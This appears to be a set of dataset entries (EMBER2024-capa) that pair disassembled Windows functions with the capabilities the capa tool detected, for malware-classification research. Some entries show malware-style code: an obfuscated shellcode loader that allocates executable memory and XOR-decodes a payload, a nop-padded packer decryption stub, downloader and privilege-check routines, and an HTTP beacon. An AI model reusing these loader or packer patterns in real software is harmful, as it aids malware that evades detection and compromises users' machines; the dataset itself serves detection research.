joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d101a3a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d101a44
repz ret
jmp fcn.6d101ded

Function at 0x6d101aaa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x6d101ab9
pop dword [ebp - 0x14]
mov eax, 0xd7eea2c0
add eax, 0x952177f9
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x58286ff6
add dword [ebp - 0x24], 0xf629d555
mov dword [ebp - 0x20], 0x5a3a44bc
sub dword [ebp - 0x20], 0x2806f877
mov dword [ebp - 0x1c], 0xd3716278
add dword [ebp - 0x1c], 0x78dae1b6
mov dword [ebp - 0x18], 0x39cc9e76
add dword [ebp - 0x18], 0xc633618a
lea eax, [ebp - 0x24]
push eax
mov eax, 0x43130b94
add eax, 0x29fd24f4
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xa44d8abd
add dword [ebp - 0x24], 0xd024de99
mov dword [ebp - 0x20], 0xee3d0a6e
add dword [ebp - 0x20], 0x532f5707
mov dword [ebp - 0x1c], 0xc8f13c44
add dword [ebp - 0x1c], 0x9a7e3028
mov dword [ebp - 0x18], 0xd4bbd690
sub dword [ebp - 0x18], 0xd4bbd690
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x98adeddd
sub eax, 0x2b9dbd51
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3a67f
push 0
call eax
mov ecx, 0x52eba26a
sub ecx, 0x52eb4ac9
xor edi, edi
add edi, eax
mov ebx, 0x735b96a3
sub ebx, 0x64b32a3
add ebx, dword [ebp - 0x14]
mov edx, 0x649860d8
add edx, 0x3f869329
mov dword [ebp - 0x10], 0x707f3ef5
mov esi, dword [ebx]
add dword [ebp - 0xc], edi
xor esi, edx
mov dword [ebp - 4], 0x97951032
mov dword [edi], esi
add dword [ebp - 0xc], 0x3636e856
add edi, 4
add ebx, 4
loop 0x6d101bdd
add eax, 0xa57f3192
sub eax, 0xa57de03b
xor ebx, ebx
add ebx, eax
add eax, 0x6cefc604
add eax, 0x93103a01
mov ecx, 0x6d100000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4074fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x407540
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x40750f
jmp 0x407540
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x407530
pop esi
pop ebp
ret

Function at 0x4080d8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x40810d
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x408137
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x408137
test edi, edi
je 0x408104
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x408104
test edi, edi
je 0x40813f
mov eax, edi
jmp 0x408106
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x408106
int3
Function at 0x40b20c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestWeakPtr.exe_gMozillaPoisonSize], eax
call fcn.004080d8
pop ecx
mov ecx, dword [sym.TestWeakPtr.exe_gMozillaPoisonSize]
mov dword [sym.TestWeakPtr.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40b244
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestWeakPtr.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x401d4e
Capabilities:
Write file on windows

Disassembly:
push 0x14
mov eax, 0x4252f5
call fcn.00422ab9
sub esp, 0x18
lea eax, [ebp + 8]
xor edi, edi
mov ecx, esp
inc edi
mov dword [ebp - 4], edi
push eax
call fcn.00404541
lea ecx, [ebp - 0x1c]
call fcn.004019da
mov eax, dword [ebp - 0x18]
add esp, 0x18
sub eax, dword [ebp - 0x1c]
je 0x401dbe
cmp dword [ebp + 0x34], 8
lea eax, [ebp + 0x20]
push 0x42c240
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00410894
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x401de9
cmp dword [ebp + 0x34], 8
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
push str.Cant_create_file__s_n
push dword [0x4315b0]
call fcn.0040101c
add esp, 0xc
mov esi, 0x80004005
lea ecx, [ebp - 0x1c]
call fcn.004043f4
push 0
push edi
lea ecx, [ebp + 8]
call fcn.00404851
push 0
push edi
lea ecx, [ebp + 0x20]
call fcn.00404851
mov eax, esi
call fcn.00422a82
ret
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
push esi
push eax
push edi
push dword [ebp - 0x1c]
call fcn.004105da
push esi
call fcn.0040bf87
add esp, 0x14
xor esi, esi
jmp 0x401dc3
Function at 0x401e07
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 0x38
xor edi, edi
lea eax, [ebp - 0x3c]
push edi
push eax
mov bl, cl
call fcn.0040b310
add esp, 0xc
mov dword [ebp - 0x40], 0x3c
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
mov dword [ebp - 0x3c], 0x440
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x34], 8
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], str.open
mov dword [ebp - 0x24], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x401e86
push str.ShellExecuteEx_Ok_n
push dword [0x4315b0]
call fcn.0040101c
pop ecx
pop ecx
jmp 0x401e9c
call esi
push eax
push str.Error:_0x_X_n
push dword [0x4315b0]
call fcn.0040101c
add esp, 0xc
test bl, bl
je 0x401f10
cmp dword [ebp - 8], edi
je 0x401f10
push str.Waiting_for_installing..._n
push dword [0x4315b0]
call fcn.0040101c
push dword [0x4315b0]
call fcn.0040beb8
add esp, 0xc
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x401eec
push dword [ebp - 4]
push str.Exit_code:_0x_X_n
jmp 0x401ef4
call esi
push eax
push str.Cant_get_exit_code._Error:_0x_X_n
push dword [0x4315b0]
call fcn.0040101c
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], edi
jmp 0x401f37
push 1
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x401f37
call esi
push eax
push str.SetHandleInformation_error:_0x_08X_n
push dword [0x4315b0]
call fcn.0040101c
add esp, 0xc
push dword [0x4315b0]
call fcn.0040beb8
mov esi, dword [ebp - 8]
pop ecx
push edi
push 1
lea ecx, [ebp + 8]
call fcn.00404851
push edi
push 1
lea ecx, [ebp + 0x20]
call fcn.00404851
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401f65
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425339
mov eax, dword fs:[0]
push eax
mov eax, 0x1008c
call fcn.004096c0
mov eax, dword [0x430024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10028]
call fcn.00407904
mov ebx, 0x42c3b8
mov byte [ebp - 4], 1
mov ecx, ebx
call fcn.00401451
push eax
push ebx
lea ecx, [ebp - 0x10028]
call fcn.00404bc8
push 0xffffffffffffffff
xor ebx, ebx
lea eax, [ebp + 8]
push ebx
push eax
lea ecx, [ebp - 0x10028]
call fcn.0040581d
test esi, esi
je 0x402077
mov ebx, 0x42c3bc
mov ecx, ebx
call fcn.00401451
push eax
push ebx
lea ecx, [ebp - 0x10028]
call fcn.00404bc8
mov edx, esi
lea ecx, [ebp - 0x10040]
call fcn.00407e78
push 0xffffffffffffffff
xor ebx, ebx
mov byte [ebp - 4], 2
push ebx
push eax
lea ecx, [ebp - 0x10028]
call fcn.0040581d
push ebx
push 1
lea ecx, [ebp - 0x10040]
mov byte [ebp - 4], 1
call fcn.00404851
mov esi, str.___st
mov ecx, esi
call fcn.00401451
push eax
push esi
lea ecx, [ebp - 0x10028]
call fcn.00404bc8
mov edx, edi
lea ecx, [ebp - 0x10040]
call fcn.00407e78
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x10028]
mov byte [ebp - 4], 3
call fcn.0040581d
push ebx
push 1
lea ecx, [ebp - 0x10040]
call fcn.00404851
cmp dword [ebp - 0x10014], 8
lea eax, [ebp - 0x10028]
cmovae eax, dword [ebp - 0x10028]
push eax
lea eax, [ebp - 0x10010]
push 0x8000
push eax
call fcn.00410114
add esp, 0xc
mov dword [ebp - 0x10098], 0x44
lea eax, [ebp - 0x10094]
push 0x40
push ebx
push eax
call fcn.0040b310
add esp, 0xc
lea eax, [ebp - 0x10050]
xorps xmm0, xmm0
movups xmmword [ebp - 0x10050], xmm0
push eax
lea eax, [ebp - 0x10098]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea eax, [ebp - 0x10010]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402105
push dword [ebp - 0x1004c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10050]
call esi
jmp 0x40211f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Clone_Error:_0x_08X_n
push dword [0x4315b0]
call fcn.0040101c
add esp, 0xc
push ebx
push 1
lea ecx, [ebp - 0x10028]
call fcn.00404851
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.00404851
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408a05
mov esp, ebp
pop ebp
ret
Function at 0x4032f6
Capabilities:
Accept command line arguments

Disassembly:
push 0x74
mov eax, 0x425607
call fcn.00422aed
mov bl, cl
lea ecx, [ebp - 0x74]
call fcn.004017e3
xor edi, edi
mov edx, str.downloader.
test bl, bl
mov dword [ebp - 4], edi
mov ecx, str._stat.
cmove ecx, edx
mov edx, eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00405f1f
pop ecx
push edi
push 1
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 2
call fcn.00404851
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea ecx, [ebp - 0x5c]
call fcn.00407e78
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.0040581d
push edi
push 1
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 2
call fcn.00404851
mov esi, str..log
mov ecx, esi
call fcn.00401451
push eax
push esi
lea ecx, [ebp - 0x2c]
call fcn.00404bc8
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 0x42c7d8
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.00410894
push str._n
push eax
mov dword [0x4315b0], eax
call fcn.0040101c
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
add esp, 0x10
call esi
test eax, eax
je 0x4033b9
call esi
jmp 0x4033be
mov eax, 0x42bbe0
push eax
push str.cmd:__s_n
push dword [0x4315b0]
call fcn.0040101c
sub esp, 0xc
mov ecx, esp
call fcn.00407904
lea ecx, [ebp - 0x44]
call fcn.00407965
push 4
pop ebx
mov byte [ebp - 4], bl
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x30], 8
cmovae eax, dword [ebp - 0x44]
push eax
push str.ver:__s_n
push dword [0x4315b0]
call fcn.0040101c
add esp, 0x24
lea ecx, [ebp - 0x5c]
call fcn.004023bd
cmp dword [eax + 0x14], 8
jb 0x403416
mov eax, dword [eax]
push eax
push str.os:__s_n
push dword [0x4315b0]
call fcn.0040101c
add esp, 0xc
lea ecx, [ebp - 0x5c]
push edi
push 1
call fcn.00404851
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], edi
push eax
push 8
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40346e
lea eax, [ebp - 0x80]
mov dword [ebp - 0x80], ebx
push eax
push ebx
lea eax, [ebp - 0x7c]
push eax
push 0x14
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [ebp - 0x7c]
cmp dword [ebp - 0x78], 0
je 0x40347d
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x42c8bc
test esi, esi
mov eax, 0x42c8b4
cmove eax, ecx
push eax
push str.elevated:__s_n
push dword [0x4315b0]
call fcn.0040101c
add esp, 0xc
lea ecx, [ebp - 0x44]
push edi
push 1
call fcn.00404851
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.00404851
call fcn.00422a97
ret
Function at 0x40746a
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
and dword [ebp - 0x24], 0
xor eax, eax
and dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
push esi
push edi
push 7
pop ecx
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 4]
mov dword [ebp - 0x20], 2
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push 0x42cf24
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x4074b7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
xor esi, esi
jmp 0x4074e3
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [edx + 0x18]
movzx esi, byte [ecx + 4]
movzx eax, byte [ecx + 5]
shl esi, 8
or esi, eax
movzx eax, byte [ecx + 6]
shl esi, 8
or esi, eax
movzx eax, byte [ecx + 7]
shl esi, 8
or esi, eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0
push 1
lea ecx, [ebp + 8]
call fcn.00404cbc
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4074f7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ac
mov eax, dword [0x430024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
test edi, edi
jne 0x40751b
xor eax, eax
inc eax
jmp 0x407622
lea eax, [ebp - 0x9a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x407513
sub esp, 0x18
mov ecx, esp
push str.clck.yandex.ru
and dword [ecx + 0x10], eax
mov dword [ecx + 0x14], 0xf
mov byte [ecx], al
call fcn.00404d0d
call fcn.0040746a
mov ebx, eax
add esp, 0x18
test ebx, ebx
je 0x407513
push 0
push 1
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
push 2
mov esi, eax
pop eax
push 0x50
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
push ebx
mov word [ebp - 0x816], ax
call dword [sym.imp.WS2_32.dll_htonl]
push 0x10
lea ecx, [ebp - 0x818]
mov dword [ebp - 0x814], eax
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x4075a9
push 2
pop eax
jmp 0x407622
push edi
push str.GET__click_dtypestred_pid12_cid72435_path_s__HTTP_1.1_r_nUser_Agent:_curl_1.1_r_nHost:_clck.yandex.ru_r_nAccept:_._r_n_r_n
lea eax, [ebp - 0x808]
push 0x800
push eax
call fcn.0040744e
lea ecx, [ebp - 0x808]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4075cc
xor ebx, ebx
lea eax, [ebp - 0x808]
push ebx
sub ecx, edx
push ecx
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push 1
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push ebx
push 0x2000
push 0x4315b8
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x407613
cmp eax, 0x2001
jae 0x407633
mov byte [eax + 0x4315b8], bl
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408a05
mov esp, ebp
pop ebp
ret
call fcn.00408bb0
int3
Function at 0x40766c
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, ecx
call fcn.00407709
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x4076ff
push edi
push edi
push edi
push 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 8], eax
test eax, eax
je 0x4076f8
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, eax
mov dword [esi + 0xc], edx
test edx, edx
je 0x4076ef
push 6
pop ecx
mov dword [ebp - 0x1c], edi
xor eax, eax
lea edi, [ebp - 0x18]
rep stosd dword es:[edi], eax
push 0x1c
lea ecx, [ebp - 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4076ef
mov ecx, dword [ebp - 0x10]
mov al, 1
mov dword [esi + 0x10], ecx
jmp 0x407701
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.00407709
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4077ad
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push edi
mov edi, ecx
test eax, eax
jne 0x4077be
xor al, al
jmp 0x407827
mov ecx, 0x5a4d
push esi
cmp word [eax], cx
jne 0x407824
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x407824
mov edx, dword [ecx + eax + 0x98]
xor ecx, ecx
lea esi, [edx + eax]
test edx, edx
jne 0x4077e7
mov esi, ecx
test esi, esi
je 0x407824
lea eax, [esi + 8]
test eax, eax
je 0x407824
cmp byte [eax], 0x30
lea edx, [eax + 1]
jne 0x407816
mov al, byte [edx]
cmp al, 0x82
jne 0x407816
movzx ecx, byte [edx + 1]
movzx eax, byte [edx + 2]
shl ecx, 8
add ecx, 0x13
add ecx, eax
and ecx, 0xffffff8
test ecx, ecx
je 0x407824
mov dword [edi + 0x14], ecx
mov al, 1
mov dword [edi + 0x18], esi
jmp 0x407826
xor al, al
pop esi
pop edi
pop ebp
ret 4
Function at 0x407965
Capabilities:
Get file version info

Disassembly:
push 0xf4
mov eax, 0x425b51
call fcn.00422aed
mov esi, ecx
mov dword [ebp - 0xf4], esi
xor edi, edi
mov dword [ebp - 0xf8], edi
mov dword [ebp - 4], edi
lea ecx, [ebp - 0xfc]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov ebx, eax
test ebx, ebx
jne 0x4079be
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x42bbe0
mov ecx, esi
call fcn.0040451c
push edi
jmp 0x407a9f
push ebx
call fcn.00408a61
mov edi, eax
pop ecx
test edi, edi
jne 0x4079dc
push 0x42bbe0
mov ecx, esi
call fcn.0040451c
jmp 0x407a9d
xor ecx, ecx
mov dword [ebp - 0xdc], 7
xor eax, eax
mov dword [ebp - 0xe0], ecx
mov word [ebp - 0xf0], ax
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
push edi
cmovae eax, dword [ebp + 8]
push ebx
push ecx
push eax
mov dword [ebp - 0xf4], ecx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x407a79
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0xf4]
push eax
push 0x42cf40
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
mov ecx, dword [ebp - 0xf4]
test ecx, ecx
je 0x407a79
movzx eax, word [ecx + 0xc]
push eax
movzx eax, word [ecx + 0xe]
push eax
movzx eax, word [ecx + 8]
push eax
movzx eax, word [ecx + 0xa]
push eax
lea eax, [ebp - 0xd8]
push 0x42cf44
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xf0]
push eax
call fcn.00404aa9
push edi
call fcn.00408a16
pop ecx
lea eax, [ebp - 0xf0]
mov ecx, esi
push eax
call fcn.004044f7
push 0
push 1
lea ecx, [ebp - 0xf0]
call fcn.00404851
push 0
push 1
lea ecx, [ebp + 8]
call fcn.00404851
mov eax, esi
call fcn.00422a97
ret

Function at 0x407c2f
Capabilities:
Query or enumerate registry value

Disassembly:
push 4
mov eax, 0x425c1c
call fcn.00422ab9
mov ebx, edx
mov edi, dword [ebp + 0x38]
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x10]
xor esi, esi
lea eax, [ebp + 8]
and dword [ebp - 0x10], esi
cmp dword [ebp + 0x1c], 8
push ecx
cmovae eax, dword [ebp + 8]
push 0x20019
push esi
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0x10], esi
je 0x407ceb
push edi
xor ecx, ecx
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
push ecx
cmovae eax, dword [ebp + 0x20]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push ecx
push eax
push dword [ebp - 0x10]
mov dword [edi], ecx
call ebx
test eax, eax
jne 0x407ce2
mov eax, dword [edi]
test eax, eax
je 0x407cd7
add eax, 2
push eax
call fcn.00408a61
cmp dword [ebp + 0x34], 8
mov esi, eax
pop ecx
push edi
push esi
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 0x10]
call ebx
test eax, eax
je 0x407ce2
push str.No_data._n
call fcn.004078aa
push esi
call fcn.00408a16
pop ecx
xor esi, esi
jmp 0x407ce1
push str.Size__0._n
call fcn.004078aa
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 1
lea ecx, [ebp + 8]
call fcn.00404851
push 0
push 1
lea ecx, [ebp + 0x20]
call fcn.00404851
mov eax, esi
call fcn.00422a82
ret
Function at 0x41bced
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041b99b

Function at 0x41f85c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f6db
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..retplne
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6f3c4636
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..reloc
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x39978db
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219